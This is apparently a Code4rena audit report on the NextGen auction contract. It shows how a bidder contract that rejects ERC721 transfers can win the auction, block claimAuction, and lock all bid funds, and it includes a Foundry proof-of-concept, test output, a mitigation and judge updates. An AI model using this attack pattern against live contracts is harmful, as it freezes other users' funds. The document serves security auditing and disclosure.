Malicious user can be the highest bidder at the end to make the auction unclaimable by rejecting to receive the NFT, which results in auction funds locked in the contract.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Description

When an auction is ended, the winner or an admin can call claimAuction function to finalize the auction that includes sending funds back to non-winners and transfer the NFT to the auction winner.
However, NextGenCore contract derives from ERC721 that supports ERC721Receiver implementation.

Abusing this feature/vulnerability, a malicious contract can be the highester bidder at the end and reject receiving the NFT. As a result, funds from all participants will be locked in the auction contract.

Proof of Concept

Here's a foundry testcase for proof:

contract MaliciousAuctionParticipant {
    // Do not implement IERC721Receiver

    function participate(auctionDemo auction, uint256 tokenId) public payable {
        auction.participateToAuction{ value: msg.value }(tokenId);
    }
}

function testAuction() public {
    uint256 collectionId = 1;
    address artist = address(1);
    uint256 maxPurchase = 3;
    uint256 currentTime = block.timestamp;

    // Setup Collection
    vm.startPrank(globalAdmin);

    string[] memory scripts = new string[](0);
    gencore.createCollection("BAYC", "Yuga Labs", "Bored Apes", "https://yuga.com", "", "https://bayc.com/", "", scripts);
    gencore.setCollectionData(collectionId, artist, maxPurchase, 100, 1 days);
    gencore.addRandomizer(collectionId, address(randomizer));

    minter.setCollectionCosts(collectionId, 1 ether, 0.5 ether, 0, 1, 0, address(0)); // 1 mint per 1s
    minter.setCollectionPhases(collectionId, currentTime + 1, currentTime + 1, currentTime + 2, currentTime + 100, bytes32(0));

    vm.warp(currentTime + 3);

    minter.mintAndAuction(globalAdmin, "Auction NFT", 0, collectionId, currentTime + 100);

    // Setup auction contract
    auctionDemo auction = new auctionDemo(address(minter), address(gencore), address(admins));
    gencore.setApprovalForAll(address(auction), true);

    vm.stopPrank();

    // Participants participate
    address(0x101).call{ value: 1 ether }("");
    vm.startPrank(address(0x101));
    auction.participateToAuction{ value: 1 ether }(1e10);
    vm.stopPrank();

    // Malicious bidder becomes highest bidder
    MaliciousAuctionParticipant malice = new MaliciousAuctionParticipant();
    malice.participate{ value: 2 ether }(auction, 1e10);

    // End auction
    vm.warp(currentTime + 200);

    // Owner claims auction
    vm.startPrank(globalAdmin);
    auction.claimAuction(1e10);
    vm.stopPrank();
}

Result of running the test:

Encountered 1 failing test in test/Audit.t.sol:NextGenTest
[FAIL. Reason: revert: ERC721: transfer to non ERC721Receiver implementer] testAuction() (gas: 2730597)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Either only allow EOAs as participants or validate ERC721Receiver implementation.

Assessed type

ERC721

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1759

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)